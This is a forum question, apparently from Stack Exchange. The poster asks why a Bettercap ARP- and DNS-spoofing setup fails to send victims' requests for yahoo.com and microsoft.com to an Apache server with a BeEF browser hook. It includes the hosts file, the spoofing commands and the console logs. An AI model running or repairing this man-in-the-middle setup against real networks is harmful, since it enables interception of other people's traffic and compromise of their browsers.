I recently have been using Bettercap and have been trying to use the dns spoof feature to redirect websites to my Apache server which has a beef hook embedded. It is very simple theoretically, but when I use the dns and arp features, it only denies access to spoofed websites. *For reference is the target ip, is the attacker ip, and is the gateway. My hosts.conf file looks like this: *yahoo.com *microsoft.com

Here is what I run when I start Bettercap:

root@kali:~# bettercap
bettercap v2.26.1 (built for linux amd64 with go1.13.4) [type 'help' for a list of commands] >  » set dns.spoof.hosts hosts.conf >  » set arp.spoof.internal true >  » set arp.spoof.targets, >  » arp.spoof on >  » [01:52:01] [sys.log] [inf] arp.spoof starting net.recon as a requirement for arp.spoof >  » [01:52:01] [sys.log] [war] arp.spoof arp spoofer started targeting 254 possible network neighbours of 2 targets. >  » dns.spoof on >  » [01:52:05] [sys.log] [inf] dns.spoof loading hosts from file hosts.conf ... >  » [01:52:05] [sys.log] [inf] dns.spoof *yahoo.com -> >  » [01:52:05] [sys.log] [inf] dns.spoof *outlook.com -> >  » [01:52:05] [sys.log] [inf] dns.spoof *microsoft.com ->

I can tell that it attempts to spoof due to the output of the Bettercap console and that Microsoft and Facebook are failing to load, but the problem is, all Google Chrome does is give me and error and no redirection happens: Google Chrome's error Also, even after I close out of Bettercap on the attacking machine, Microsoft and Facebook still fail to load until I completely shut down the attacking machine. Could anyone explain that? And could anyone tell me why it is not redirecting? Happy to provide more information if needed.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.